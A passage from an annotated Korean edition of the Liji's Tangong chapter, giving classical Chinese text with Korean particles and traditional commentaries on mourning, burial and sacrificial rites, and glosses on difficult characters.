主道也이라. 殷禮 始殯時에 置重于殯廟之庭이라가 曁成虞主則綴此重而懸於新死者所殯之廟하고, 周人은 虞而作主則徹重而埋之也이라\n○ 嚴陵方氏曰 重設於始死之時 主立於旣虞之後則 重非主也 有主之道爾 殷雖作主矣 猶綴重以懸於廟 不忍棄之也 周旣作主矣 重遂徹而埋於土 不敢瀆之也 不忍棄之者 所以致其愛而質 故殷人行之不敢瀆之者 所以致其敬而文 故周人行之 夫重與主 皆所以 依神而已 或曰重或曰主 何也 始死而未葬則 有柩矣 有柩而 又設重 所以爲重也 旣有廟矣 有廟而必立主 是謂主也\n奠以素器난, 以生者有哀素之心也이라. 唯祭祀之禮난 主人이 自盡焉爾니, 豈知神之所饗이리오, 亦以主人이 有齊[齋]敬之心也이라.[449]\n鄭氏이曰 哀素난 言哀痛無飾也이라. 凡物無飾曰素이니 哀則以素하며 敬則以飾하니 禮由人心而已라\n○ 方氏이 曰 士喪禮에 有素俎하고 士虞禮에 有素几하니 皆其哀而不文故也이라. 喪葬은 凶禮라. 故 若是하며 至於祭祀之吉禮난 則必自盡하니 以致其文焉이라. 故 曰唯祭祀之禮난 主人自盡焉爾라. 然 主人之自盡에 亦豈知神之所享이 必在於此乎아 且以表其心而已耳라.\n臨川吳氏曰 虞以前親喪未久奠而 不謂之祭 其奠也 非不敬其親也 哀心特甚 禮尙質朴 無心於飾 故用素器虞以後 親喪漸久卒祔練祥 雖猶在喪制之中然已 是祭祀之禮 其祭祀也 非不哀其親也 敬心加隆非如 初喪之素器也 然其盡 禮而漸文豈是爲 死者眞能來享而 然亦自盡 其禮以致 敬親之心焉爾 大槩喪主於哀 祭主於敬 故喪奠以素器之質而 見其哀祭祀則 盡禮之文以 寓其敬\n辟[婢亦反]踊은,\n哀之至也이니, 有筭[算]은, 爲之節文也이니라.[449]\n疏曰 撫心이 爲辟이오, 跳躍이 爲踊이니 是哀痛之至極이라. 若不裁限이면 恐傷其性이라. 故 有筭 以爲之準節하니 每一踊三跳,三踊九跳로 爲一節이라. 士는 三日에 有三次踊하고 大夫는 四日五踊이오, 諸侯는 六日七踊이오, 天子는 八日九踊이라. 故 云爲之節文也이라.\n袒括髮은, 變也이니. 慍은, 哀之變也이라. 去[上聲]飾은, 去美也이니. 袒括髮은, 去飾之甚也이라. 有所袒하며, 有所襲은, 哀之節也이라.[450]\n疏曰 袒衣括髮은 形貌之變也이오 悲哀慍恚는 哀情之變也이라. 去其尋常吉時之服飾은 是去其華美也이니 去飾이 雖多端이나 惟袒而括髮이 又去飾之中,最甚者也이라. 理應常袒이나 何以有袒時有襲時요 蓋哀甚則袒하고 哀輕則襲이 哀之限節也이라.[恚(혜,에):성내다,화내다,원망하다]\n嚴陵方氏曰 有筭則有節 有節則文 無節則質 故謂之節文袒則 去其衣 括髮則投其冠 衣冠者人之常服而已 故曰 袒括髮變也 發於聲音 見於衣服而 生於陰者此 哀之常也 及有感而慍以至於辟 踊者陽作之也 此其變歟 故曰 慍哀之變也 經曰 慍斯戚 戚斯嘆 嘆斯辟 辟斯踊 皆謂是矣\n弁絰葛而葬은 與神交之道也이니, 有敬心焉하니라. 周人은 弁而葬하고,\n殷人은哻[火羽反]而葬하니라.[哻:잠잘한,관후(殷代冠名)][451]\n居喪時에 冠服이 皆純凶호대 至葬而吾親이 託禮地中則當以禮敬之心으로 接於山川之神也이라. 於是에 以絹素로 爲弁하야 如爵弁之制하고 以葛로 爲環絰在首하야 以送葬하니 不敢以純凶之服으로 交神者는 示敬也이라. 故.曰有敬心焉이라.\n嚴陵方氏曰 與神交之道則 心主乎 敬夫厭冠麻絰 居喪之禮也 至於葬則以弁易冠以葛 易麻者示敬故也 子游曰 飯於牖下小斂於戶內 大斂於阼殯於客位 祖於庭 葬於墓 所以卽遠也 比至於葬則 卽遠之至矣 故以神道交之\n歠이어든 主人主婦室老를 爲其病也하야 君命食[嗣]之也이니라.[歠:마실철,훅들여마심.핥아먹음][452]\n疏曰 親喪歠粥之時라 主人은 亡者之子요 主婦는 亡者之妻이니 無則主人之妻也이라. 室老는 家之長相이니 此三人이 並時大夫之家,貴者이라. 爲其歠粥病困之故로 君必命之니 食은 䟽飯也이라. 若士喪은 君不命也이니라. 喪大記에 言主婦食䟽食은 謂旣殯之後요 此主婦歠者는 謂未殯前이라.\n反哭升堂은, 反諸其所作也라. 主婦이 入于室은 , 反諸其所養[去聲]也라.[452]\n此堂與室은 皆謂廟中也라 卒窆而歸에 乃反哭於祖廟니 其二廟者는 則先祖後禰니라. 所作者는 平生祭祀冠昏所行禮之處也요 所養者는 所饋食供養之處也라.[禰:아비사당녜,니]\n○ 朱子曰 須知得此意 思則所謂 踐其位 行其禮等事 行之自安方見得 繼志述事之事\n反哭之弔也는, 哀之至也라. 反而亡焉이라 失之矣니, 於是 爲甚하니라, [453]\n賓之弔者이 升自西階어든 曰如之何오 主人拜稽顙이니 當此之時에 亡矣라. 失矣不可復見吾親矣니 哀痛於是爲甚也라. 賓이 弔畢而出에 主人이 送于門外하고 遂適殯宮이니 卽先時所殯正寢之堂也라.\n殷은 旣封[窆]而弔하고, 周는 反哭而弔하니. 孔子ㅣ曰하시대,\"殷은 已慤[殼]하니,吾從周호리라.\"[454] 愨(삼갈각.殼(껍질각)\n殷之禮는 窆畢에 賓이 就墓所弔主人하고 周禮則俟主人反哭而後弔하나니 孔子이 謂殷禮太質慤者는 蓋親之在土에 固爲可哀나 不若求親於平生居止之所以不得에 其哀爲尤甚也라. 故.弔於墓者에 不如弔於家者之情文에 爲兼盡이라. 故.欲從周也이시니라.\n○ 嚴陵方氏曰 人之始死也則哀 其死旣葬也則哀 其亡 亡則哀爲甚矣 故反哭之時有弔禮焉 問喪曰 入門而弗見也 上堂又不見也 入室又不見也 亡矣 喪矣 不可復見矣 故哭泣辟踊盡哀而止矣 大宗伯以喪禮 哀死亡 蓋死亡之別如此 卽封而 弔者受弔於壙也 反哭而弔者受弔於家也 夫弔也者 所以弔其哀而已 葬雖爲哀然不若反哭之哀爲甚 此孔子所以 謂殷爲巳慤 周人弔於家 示民不偝也 子云 死民之卒事也 吾從周其言蓋本諸此\n葬於北方,北首난, 三代之達禮也이니, 之幽之故也이라.[455]\n北方은 國之北也이라 殯猶南首난 未忍以鬼神待其親也요, 葬則終死事矣라. 故,葬而北首하니 三代通用此禮也이라. 南方은 昭明하고 北方은 幽暗이라 之幽는 釋所以北首之義라.\n○ 嚴陵方氏曰 南方以陽而明 北方以陰而幽 人之生也則自幽而出乎 明故生者南鄕及其死也則自明而反乎幽 故死者北首 凡以順陰陽之理而已 三代之禮 雖有文質之變 至於葬之北方 北首則通而行之者改所以順死者之反乎 幽故也\n旣封하고, 主人이 贈이어든 而祝이 宿虞尸니라.[455]\n柩行至城門에 公이 使宰夫로 贈玄纁束이니 旣窆則用此玄纁贈死者於墓之野하나니라. 此時,祝이 先歸而肅虞祭之尸矣라. 宿은 讀爲肅이니 進也요. 虞는 猶安也라. 葬畢,迎精而反하야 日中에 祭之於殯宮,以安之也라. 男則男子이 爲尸하고 女則女子이 爲尸니 尸之爲言은 主也라. 不見親之形容하야 心無所係라. 故,立尸而使之著死者之服은 所以使孝子之心으로 主於此也라. 禫祭以前은 男女이 異尸異几하고 祭於廟則 無女尸而几亦同矣라. 小牢禮에 云 某妃配라하니 是男女이 共尸니라.\n旣反哭하고, 主人이 與有司로 視虞牲이니. 有司이 以几筵으로 舍[釋]奠於墓左하고 反커든, 日中而虞하니라.[456]\n士之禮,虞牲은 特豕라 几는 所以依神이오 筵은 坐神之席也이니, 席敷陳曰筵이라. 孝子이 先反而視牲하고 別令有司로 釋尊하야 以禮地神하니 位親之託體於此也라. 舍는 讀爲釋이라. 尊者는 置也이니 釋置此祭饌也라. 墓道이 向南하니 以東爲左이라. 待此 有司之反하야 卽於日中時에 虞祭也라.\n葬日에 虞는, 弗忍一日을 離也라.[457]\n鄭氏이曰 弗忍其無所歸라.\n是日也에 以虞로 易奠이니 卒哭 曰成事하나니라.[457]\n始死에 小斂.大斂.朝夕.朔月.朝祖.賵遣之類이 皆喪尊也라. 此日에 以虞祭代하고 擧喪奠하니 故.曰 以虞易尊也이라. 卒哭曰 成事者는 蓋祝辭에 曰 哀薦成事也라. 祭以吉爲成하니 卒哭之祭는 乃吉祭故也라. [賵:부의봉]\n嚴陵方氏曰 旣封而贈則虞祭有期矣 故祝先反而宿 虞尸焉 主人不親舍奠而使有司代之者 欲速反而脩虞事故也 必待有司反以後 虞祭者葬禮畢 然後 敢成葬 反之禮也 故弗忍一日離其親 故不待明日而後虞也 是日也以虞易奠者以虞之禮 漸吉故也.[脩(수):건육,修]\n是日也에 以吉祭로 易喪祭니 明日에 祔于祖父이니라.[458]\n吉祭는 卒哭之祭也요. 喪祭는 虞祭也라, 卒哭에 在虞之後이라. 故.云以吉祭 易喪祭也라. 祔之爲言은 附也니 祔祭者는 告其祖父以 當遷他廟 而告新死者以 當入此廟也라. 禮云 明日에 以其班祔이라하니 明日者는 卒哭之次日也라. 卒哭時에 告于新主曰 哀子某이 來日隮祔爾于爾皇祖 某甫이라하고 及時則奉 新主入 祖之廟而幷 告之曰 適爾皇祖某甫以隮祔爾 遜某甫이라하나니 孫必祔祖者는 昭穆之位이 同하니 所謂以其班也라. 畢事에 虞主復于寢하고 三年喪畢에 遇四時之吉祭而後에 奉新主入廟也라. 虞祭는 間一日而卒哭與祔則不間日이니라.[隮:오를제.무지개.피어오르다]\n其變而之吉祭也는 比[畀]至於祔히, 必於是日也에 接이니, 不忍一日을 末有所歸也이니라.[459]\n上文所言이 皆據正禮니 此言變者는 以其變易常禮也라. 所以 有變者는 以有他故하야 未及葬期而卽葬也라. 據士禮에 速葬 速虞之後에 卒哭之前에 其日이 尙賖하니 不可無祭라 之에 徃也라. 虞.往至吉祭.其禮如何오? 曰 虞後比至於祔에 遇剛日而連接其祭니 若丁日葬則巳日再虞하고 後虞를 改用剛日則 庚日 三虞也라. 此後遇剛日則祭하야 至祔而後止니 此이 孝子이 不忍使其親,一日 無所依歸也라.[賖(사):외상매입,세내다,멸다,느리다,사치하다]\n殷은 練而祔하고, 周는 卒哭而祔하니, 孔子이 善殷하시니라.[460]\n孝經에 曰 爲之宗廟하야 以鬼享之라하니 孔子이 善殷之祔者는 以不急於鬼其親也라.\n藍田呂氏曰 禮之祔祭 各以昭穆之班 祔于其祖 主主人未除喪 主未遷於新廟 故以其主 遷于新廟 故謂之祔 左氏傳云 君薨 祔而作主特祀于 主蒸嘗禘於廟 周人 未葬 尊于殯虞則立尸有几筵卒哭而祔 祔始作主 旣祔之祭 有練 有祥 有禫 皆特祀 其主於祔之廟 至祭喪然後 主遷新廟以時而 蒸嘗禘焉 不立主者其祔亦然 士虞禮及 雜記所載 祔祭 改是殷人練而 祔則未練以前猶祭于寢 有未忍遽改之心 此孔子所以善殷[禘:체제사체,여름제사]\n16. 君이 臨臣喪에 以巫祝桃茢하며 執戈는 惡之也이니 所以異於生也라. 喪有死之道焉하니 先王之所難[去聲]言也라.[茢:부정풀이비열][461]\n桃性에 辟惡하니 鬼神이 畏之라 王莽이 惡高廟神靈하야 以桃湯으로 灑其壁하니라 茢은 苕帚也니 所以除濊라. 巫執桃하고 祝執茢하고 小臣執戈는 蓋爲其有凶邪之氣可惡이라. 故.以此三物로 辟祓之也라. 臨生者則惟執戈而已어늘 今加以桃茢이라. 故.曰 異於生也라. 君使臣以禮하니 死而惡之이 豈禮也哉니와 然.人死.斯惡之矣라. 故.喪禮이 實有惡死之道焉하니. 先王之所不忍言也니라.\n18. 喪之朝也는 順死者之孝心也이니 其哀, 離[去聲]其室也라. 故로 至於祖考之廟而后에 行하나니 殷은 朝而殯於祖하고, 周는 朝而遂葬하나니라.[462]\n子之事親에 出必告, 反必面이라. 今將葬而奉柩以朝祖엔 固爲順死者之孝心이나 然,求之死者之心에 亦必自哀其違離寢處之居而永棄 泉壞之下하야 亦欲至祖考之廟而訣別也라. 殷尙質敬鬼神而遠之라. 故.大斂之後에 卽奉柩朝祖而遂殯於廟하고. 周人則殯於寢이라가 及葬則朝廟也라.\n19. 孔子이 謂, 爲明器者는 知喪道矣니 備物而不可用也이니라.[463]\n此는 孔子이 善夏之用 明器從葬이라.\n哀哉라, 死者而用生者之器也여, 不殆於用殉乎哉아! [463]\n此는 孔子이 非殷人이 用祭器從葬이라 以人從死曰殉이라 殆는 幾也라. 用其器則近於用人이니라\n其曰明器는 神明之也라. 塗車芻靈이 自古有之하니, 明器之道也라. 孔子이 謂爲芻靈者를 善이라하시고, 謂爲俑者이 不仁이니, 不殆於用人乎哉아!하시다.[俑:木人용,허수아비용][463]\n謂之明器者는 是以神明之道로 待之也라. 塗車는 以泥爲車也라. 束草爲人形하야 以爲死者之從衛를 謂之芻靈이라 略似人形而已니 亦明器之類也라. 中古에 爲木偶人하야 謂之俑則有面目機發而太似人矣라. 故.孔子이 惡其不仁은 知末流에 必有以人殉葬者라.\n○ 趙氏이曰 以木人送葬은 設機而能踊跳라. 故,名之曰 俑이라.\n嚴陵方氏曰 喪之爲道 所以致之於 死生之間 明器者 若前經 所謂 竹不成用 瓦不成味之類是矣. 孟子 引孔子之言曰 始作俑者 其無後乎 其言 蓋本於此\n20. 穆公이 問於子思하사 曰하사대, \"爲[去聲]舊君하야 反服 古與아[平聲]?\" 子思曰하사대, \"古之君子는, 進人以禮하고, 退人以禮하더니, 故로 有舊君反服之禮也라. 今之君子는 進人호대 若將加諸膝하고, 退人호대 若將隊[墜]諸淵하나니, 毋爲戎首이, 不亦善乎아! 又何反服之禮之有이리니까?\"[465]\n穆公은 魯君이니 哀公之曾孫이라 爲舅君服이 見儀禮齊衰章이니라 孟子이 言三有禮則 爲之服이니 寇讎에 何服之有이리오하시니 與此章意似라. 隊諸淵은 言置之死地也라 戎首는 爲寇亂之首也라.[寇:도둑구,원수구]\n長樂陳氏曰 義起於情之所 及而不起於 情之所 不及禮生於義之所 加而 不生於義之所不加 故因情以爲義 而義所以行 情因義以爲禮 而禮所以行義 人臣之去國有爲舅 君之服者 有不爲舅 君之服者 凡視情與義 如何耳 古者進人以禮 進之以誠之 所樂與也 退人以禮退之 以勢之 所不得已也 令也引之唯恐其不高則 若加諸膝擠之 唯恐其不深則 若隊諸淵服與不服 所以異也 穆公居 今之世反古之道 而欲貴 今之臣 行古之禮 不亦誤歟\n21 悼公之喪에 季昭子이 問於孟敬子하야 曰호대,\"爲君何食고?\"敬子이 曰호대,\"食粥이, 天下之達禮也이어니와,[466]\n悼公은 魯哀公之子요 昭子는 康子之曾孫이니 名强이라. 敬子는 武伯之子이니 名捷이라.\n吾三臣者之不能居公室也는, 四方이 莫不聞矣니. 勉而爲瘠 則吾이 能이러니와 毋乃使人으로 疑夫不以情으로 居瘠者乎哉아! 我則食食호리라.\"[上如字下音嗣][466][瘠:파리할척]\n三臣은 仲孫,叔孫,季孫之三家也라 敬子이 言我三家이 不能居公室而以臣禮事君者는 四方이 皆知之矣라. 勉强食粥而爲毁瘠之貌를 我雖能之나 然豈不使人疑我非以哀戚之眞情而處此瘠乎아? 不若違禮而食食也라.\n○ 應氏이 曰 季子之問은 有君子補過之心而孟氏之對는 可謂小人之無忌憚者矣로다\n○ [廬陵胡氏曰 食食不食粥非也 禮小祥則飯素食]\n22 衛잇 司徒敬子이 死커늘, 子夏이 弔焉호대, 主人이 未小斂이어늘, 絰而往하고. 子游이 弔焉하대, 主人이 旣小斂이어늘, 子游이 出絰하야, 反哭한대. 子夏이 曰호대,\"聞之也與아[平聲]?\"曰호대,\"聞諸夫子호니, 主人이 未改服則不絰하더시다.\"[467]\n司徒는 以官爲氏也라. 主人이 未小歛(斂)則未改服이라. 故.弔者이 不絰이니 子夏絰而往弔이 非也 라. 其時子游이 亦弔호대 俟其小歛(斂)後改服하야 乃出而加絰反哭之則 中於禮矣라. [歛(감):탐하다.구걸하다]\n23 曾子이 曰하사대,\"晏子이 可謂知禮也已니, 恭敬之有焉이로다.\" 有若이 曰호대,\"晏子이 一狐裘를 三十年하며, 遣[去聲]車이 一乘이며, 及墓而反하니라.[468]\n晏子난 齊大夫이니 曾子이 稱其知禮난 謂禮以恭敬爲本也라. 有若之言則曰狐裘이 貴在輕新이어늘 乃三十年而不易하니 是儉於己也요, 遣車一乘은 儉其親也요, 禮에 窆後에 有拜賓送賓等禮어늘 晏子이 窆訖即還하니 儉於賓也라. 此三者이 皆以其儉而失禮者也이니라.\n國君은 七个라, 遣車이 七乘이오. 大夫난 五个라, 遣車이 五乘이니. 晏子이 焉知禮리오?\"[469]\n遣車之數이 天子九乘이오, 諸侯七乘이오, 大夫五乘이오, 天子之士난 三乘이오, 諸侯之士난 無遣車也라. 大夫以上 皆太牢오, 士난 少牢라. 个난 包也니, 凡包牲을 皆取下體하니, 每一牲에 取三體하고, 前脛折取臂臑하고 後脛折取骼이라. 少牢二牲則六體라. 分爲三个하고 太牢三牲則九體라. 大夫난 九體分爲十五段하야 三段爲一包하니 凡五包요. 諸侯난 分爲二十一段이니 凡七包요, 天子난 分爲二十七段이니 凡九包라. 每遣車一乘에 則載一包也라. [脛:정강이경,臂:팔비,臑:팔꿈치노,骼:마른뼈격]\n曾子이 曰하사대,\"國이 無道라면, 君子이 恥盈禮焉하나니. 國奢則示之以儉하고, 國儉則示之以禮니라.\"[470]\n曾子난 主權하고 有子난 主經하니 是以二端之論이 不合이라.\n嚴陵方氏曰 以齊國之無道 而以盈爲恥以 齊國之奢 而欲示之儉則 儉於其身庶幾 其可也 儉於其親不亦甚乎昔管仲有反점[土+占]塞門 孔子亦以爲不知禮則 二子所爲雖不同 其爲不知禮一也 然以禮與其奢也 寧儉言之則 晏子之失猶爲愈矣. [土+占(점):屛也:막다,병풍,堂隅:대청모서리]\n24 國昭子之母이 死커늘, 問於子張하야 曰호대,\"葬이 及墓하니 , 男子婦人이 安位오?\"子張이 曰호대,\"司徒敬子之喪에, 夫子이 相하샤대, 男子난 西鄕하고, [去聲] 婦人은 東鄕이니라.[470]\n國昭子난 齊大夫니 葬其母에 以子張相禮라. 故.問之라. 夫子난 孔子也라. 主人家이 男子난 皆西向하고 婦人은 皆東向而男賓은 在衆主人之南하고 女賓은 在衆婦之南이 禮也라.\n曰호대,\"噫라! 毋[無]하라!\"曰,\"我喪也에 斯[去聲]沾(覘)이니, 爾이 專之하야, 賓爲賓焉하고.\"主爲主焉이라하야늘, 婦人이 從男子하야 皆西鄕하니라.[471]\n昭子이 聞子張之言하고 歎息而止之하니 言我爲大夫하니 齊之顯家라. 今行喪禮에 人必盡來覘視니 當有所更改以示人이라. 豈宜一循舊禮리오. 爾當專主其事하야 使賓自爲賓하고 主自爲主이 可也라. 於是昭子家婦人이 旣與男子로 同居主位而西鄕하고 而女賓이 亦與男賓으로 同居賓位而東鄕矣라. 斯난 盡也라. 沾은 讀爲覘이라. 此난 記禮之變이라. 覘(점):엿보다.기다려보다. 覘望:살피면서 바라봄. 覘敵. 覘詗(점형):형편을 염탐함.\n嚴陵方氏曰 禮之辨異尤重於男女之際 雖在喪紀憂遞之中 亦莫不各正其位焉 故自始死以至於葬男子則西鄕 而位乎 東婦人則東鄕 而位乎西 凡以辨陰陽之義而已 司徒敬子之喪夫子爲相固嘗行之矣 而國昭子徒爲賓主之辨曾無男女之別則 其失禮也 不亦甚乎\n25 穆伯之喪에, 敬姜이 晝哭하고. 文伯之喪에 晝夜哭한대. 孔子이 曰하사대,\"知禮矣라하시다.\"[472]\n哭夫以禮哭하고 子以情하니 中節矣라. 故.孔子이 美之하시니라.\n嚴陵方氏曰 經曰 寡婦不夜哭 蓋其遠嫌之道 不得不然爾 穆伯之於敬姜夫也 故居其喪止於晝哭 而不嫌於薄文伯之於敬姜子也 故居其喪晝夜哭 而不嫌於厚此 孔子所以謂之知禮也\n文伯之喪에 敬姜이 據其牀而不哭하야 曰호대,\"昔者에 吾有斯子也하니, 吾以將爲賢人也라. 吾이 未嘗以就公室하더니 今에 及其死也하야 朋友諸臣이 未有出涕者요. 而內人은 皆行哭失聲하니, 斯子也이 必多曠於禮矣夫인저.\"[473]\n以爲賢人은 必知禮矣라. 故.凡我平日出入公室에 未嘗與俱而觀其所行은 蓋信其賢而知禮也이라가 至死而覺其曠禮라. 故.歎恨之하니라.\n○ 鄭氏이 曰 季氏난 魯之宗卿이니 敬姜이 有會見之禮라.\n嚴陵方氏曰 曠與無曠庶官之曠同言 虛其道而不行 行哭者 行哭位之禮也\n26 季康子之母이 死커늘 陳褻衣하는대, 敬姜이 曰호대,\"婦人이 不飾이면, 不敢見舅姑이니. 將有四方之賓이 來니, 褻衣를 何爲陳於斯오?\"命徹之하다.[474]\n敬姜은 康子之從祖母也이라 ○ 應氏이 曰 敬姜의 森然法度之語이라.\n27 有子이 與子游로 立하야, 見孺子慕者하고, 有子이 謂子游하야 曰호대, 予난 壹不知夫喪之踊也하야, 予欲去[上聲]之久矣라니. 情在於斯이, 其是也夫인저.\"[474]\n有子이 言喪禮之有踊을 我常不知其何爲而然이라. 壹者난 專一之義니 猶常也라. 我久欲除去之矣러니 今見孺子之號慕이 若此則 哀情之在於此踊이 亦如此孺子之慕也夫인저.\n子游이 曰호대,\"禮난 有微情者하며, 有以故興物者하니, 有直情而徑行者난 戎狄之道也이니 禮道則不然하니라.[476]\n子游이 言 先王制禮에 使賢者로 府而就之하고, 不肖者로 企而及之니 慮賢者之過於情也라. 故.立爲哭踊之節하니 所以殺其情이라. 故.曰 禮有微情者라하니 微난 猶殺也요, 慮不肖者之不及情也라. 故.爲之興起 衰經之物하야 使之睹服思哀라. 故.曰有以故興物者라하니 此二者이 皆制禮者,酌人情 而爲之也라. 若直肆己情하야 徑率行之하야 或哀 或不哀하야 漫無制節則 是戎狄之道矣라. 中國禮義之道則 不如是也이니라. ★[睹(도):보다(覩:도)][狄(적):북방오랑캐:만주족]\n人이 喜則斯陶하고, 陶면 斯咏하고, 咏이면 斯猶하고[搖]猶면 斯舞하고, 舞면 斯慍하고, 慍이면 斯戚하고, 戚이면 斯歎하고, 歎이면 斯辟하고,[婢亦反] 辟이면 斯踊矣니. 品節斯를 斯之謂禮니라.[476]\n此난 言樂極生哀之情이라 但無斯慍一句이 終是可疑하니 今且據疏하러라. 劉氏이 欲於猶斯舞之下에 增一矣字而刪舞斯慍三字하니 今亦未敢從이라. [刪:깍을산,삭제하다]\n○ 疏曰 喜者난 外境會心之謂라. 斯난 語助也라. 陶난 謂鬱陶이니 心初悅而未暢之意라. 鬱陶之情이 暢則 口歌咏之也라. 咏歌不足하야 漸至動搖身體하야 乃至起舞하야 足蹈手揚하니 樂之極也라. 外境違心之謂慍이니 凡喜怒相對하며 哀樂相生하나니 若舞無節하야 形疲厭倦하야 事與心違하면 所以怒生이니 慍怒之生이 由於舞極이라. 故.曲禮에 云 樂不可極也라 하니라. 此凡九句이니 首末各四句난 是哀樂相對오 中間舞斯慍一句난 是哀樂相生이라. 慍斯戚者난 怒來觸心하야 憤恚之餘에 轉爲憂戚하고 憂戚轉深에 因發歎息하고 歎恨不泄에 遂至撫心하고, 撫心不泄에 乃至跳踊舊擊하니, 亦哀之極也라. 故.夷狄無禮하야 朝殯夕歌하고 童兒任情하야 倏啼欻咲(笑)하나니 今若品節此二塗하야 使踊舞有數하면 則能久長이라. 故.云斯之謂禮라. 品은 階格也요, 節은 制斷也라.\n★[刪(깎을산)][恚(에):성내다,화냄,원망(古音:혜)][泄:샐설][倏:갑자기숙.개가빨리내닫는모양,빛]\n○ 孫氏이 曰 當作人喜則斯陶. 陶斯咏. 咏斯猶. 猶斯舞. 舞斯蹈矣. 人悲則斯慍, 慍斯戚. 戚斯歎. 歎斯辟. 辟斯踊矣라. 蓋自喜至蹈凡六變이오, 自悲至踊이 亦六變이니 此所謂孺子慕者之直情也라. 舞蹈辟踊이 皆本此情하니 聖人이 於是爲之節이라.\n○ 李氏曰 禮者節文之也 有節 故有微情者有文 故有興物者 直情則 無節徑行則 無文 故曰 戎狄之道也 唯有節故陶不至于咏咏不至于舞 舞不至于慍 慍不至于踊 此所以微情 唯有文 故制絞衾說蔞翣以使弗惡脯醢之奠遣而行之葬 而食之使人 弗倍此所以興物也 ★[蔞(루):물쑥.翣(삽)운삽][醢:육장해,젓갈해]\n○ 嚴陵方氏曰 陰陽之理憂樂之情 固常如此則 禮雖經而爲三百曲 而爲三千不過 品於斯節於斯而已 品於斯 故所施之上下有常節於斯 故所處之多少無失 故曰品節斯 斯之謂禮\n人이 死커든, 斯惡之矣며. 無能也라, 斯倍之矣니라. 是故로 制絞하샤로 衾하며, 設蔞[柳]翣은 爲[去聲]使人勿惡也니라.[惡=오][蔞:물쑥루][翣:운삽삽][絞:목맬교,새깨줄,꼬다][479]\n以其死而惡之며, 以其無能而倍之니라. 恐太古無禮之時에 人多如此라. 於是에 推原聖人.所以制禮之初意에 止爲使人勿惡勿倍而已라. 絞衾以飾其體하고, 蔞翣以飾其棺.則不見死者之可惡矣라.\n○ 廬陵胡氏曰 倍與背同古字多假借\n始死에 脯醢之奠이오. 將行에 遣[去聲]而行之하고, 旣葬而食[嗣]之하나니, 未有見其饗之者也이언난 自上世以來로 未之有舍[去聲]也이니, 爲使人勿倍也라. 故로 子之所刺[次]於禮者난 亦非禮之訾[訿]也니라.\" [訾(자):헐뜯다.헤방,비방][479]\n始死에 卽爲脯醢之奠하고, 將葬則有包裹牲體之遣하고, 旣葬則有虞祭之食하니 何嘗見死者享之乎리요 야난 然.自上世制禮以來로 未聞有舍而不爲者하니 爲此則報本反始之思이 自不能已矣라. 豈復有倍之之意乎아. 先王制禮에 其深意蓋如此하니 今子이 刺喪之踊而欲去之者이 亦不足以爲禮之疵病也라. [疵:흠집자,병자,흉자]\n28. 吳이 侵陳하야, 斬祀,殺厲하고. 師還[旋],出竟[境]이어늘, 陳大[泰]宰嚭이[普彼切]使[去聲]於師하야대, 夫差이 謂行人儀하야 曰호대,\"是夫也이 多言하니 盍嘗問焉이리오? 師必有名이니 人之稱斯師也者이 則謂之何오?\" [479]\n魯哀公元年에 吳師侵陳하니라. 斬祀난 伐祠祀之木也요, 殺厲난 殺疫病之人也라. 大宰行人은 皆官名이라. 夫差난 吳子名이라. 是夫난 猶言此人이니 指嚭也라. 多言은 猶能言也라. 盖는 何不也라. 嘗은 試也라. 師必有名者난 言出師伐人에 必得彼國之罪하야 以顯我出師之名也라. 今衆人이 稱我此師를 謂之何名乎오?. [厲(려):磨,嚴,危.][嚭:클비]\n大宰嚭이 曰호대,\"古之侵伐者난 不斬祀하며, 不殺厲하며, 不獲二毛러니. 今斯師也이 殺厲與인대[平聲], 其不謂之殺厲之師與아?\"曰호대, \"反爾地하며, 歸爾子하야든, 則謂之何오?\"曰호대,\"君王이 討敝邑之罪하시고, 又矜而赦之하시면, 師與이[平聲]有無名乎아?\" [482]\n二毛난 斑白之人也라. 子난 謂所獲臣民也라. 還其侵略之地하고, 縱其俘獲之民은 是矜而赦之矣라. 豈可又以無名之師.議之乎아 하니, 此난 言嚭善於辭令이라. 故能救敗亡之禍하니라. ○ 石梁王氏이 曰 是時에 吳亦有大宰嚭하니 如何오? [俘:사로잡을부,포로,벌][赦:용서할사]\n鄱陽洪氏曰 按嚭乃吳夫差之宰陳遣使者正用行人則儀乃陳臣也 記禮者簡冊差互 故更錯其名當云 陳行人儀使於師夫差使大宰嚭問之乃善忠宣公作春秋詩引斯事亦嘗辯正云. [鄱:땅(고을)이름파]\n29. 顔丁이 善居喪이라. 始死에 皇皇焉하야 如有求而弗得하고, 及殯하얀 望望焉하야 如有從而弗及하고, 旣葬하야난 慨焉하야 如不及其反而息하더라. [483]\n顔丁은 魯人이라. 皇皇은 猶棲棲也요, 望望은 往而不顧之貌라. 慨난 感悵之意라. 始死에 形可見也요, 旣殯에 柩可見也오. 葬則無所見矣라. 如有從而弗及은 似有可及之處也요, 葬後則不復如有所從矣라. 故.但言如不及其反하고 又云而息者난 息은 猶待也니 不忍決忘其親하야 猶且行且止하야 以待其親之反也라. 蓋葬者난 往而不反이나 然,孝子이 於迎精而反之時에 猶如有所疑也라.\n30 子張이 問曰호대,\"書云\"高宗이 三年不言이라 言乃讙이라하니.\"有諸잇가?\"仲尼이 曰하사대,\"胡爲其不然也이리오? 古者에 天子이 崩커시든 王世子이 聽於冡宰를 三年하더니라.\" [484]\n言乃讙者난 命令所布에 人心喜悅也라.[讙(훤:諠,喧,기쁠환,부를환)諠譁:지껄이고들레고]\n嚴陵方氏曰 天子之適子曰大子諸侯之適子曰世子得世國故也於天子亦稱世子者則以世天下言之爾故稱王以別之亦猶王制於諸侯亦稱大子必稱群后以別之也\n31 知[平聲]悼子에 卒하야 未葬이어늘 平公이 飮酒하실새, 師曠李調이 侍하야 鼓鐘이러니, 杜蕢이 自外來하야, 聞鐘聲하고, 曰호대, \"安在오?\"曰호대,\"在寢이니라\"杜蕢이[快]入寢하야 歷階而升하야 酌曰호대,\"曠아 飮[平聲]斯하라?\"又酌, 曰호대, 調어 飮斯하라\"又酌하야, 堂上에 北面坐하야 飮之하고, 降하야 趨而出하야대. [485]\n知悼子난 晉大夫이니 名罃이오, 平公은 晉侯彪也이라. 凡三酌者난 旣罰二子하고 又自罰也라.\n[蕢(궤):삼태기,흙덩이),(괴):붉은비름)][皷=鼓의俗字][罃:목긴병앵]\n平公이 呼而進之하사 曰하사대,\"蕢아, 曩者에 爾心이 或開予라, 是以로 不與爾로 言호니.\"\"爾飮曠은 何也오?\"曰호대,\"子卯엔 不樂이니, 知悼子이 在堂하니 斯其爲子卯也이 大矣어늘 曠也이大師也이로대, 不以詔할새 是以로 飮之也호이다.\" [485]\n言爾之初入에 我意,爾必有所諫敎하야 開發於我라. 我이 是以不先與爾言이러니 乃三酌之後에 竟不言而出하니 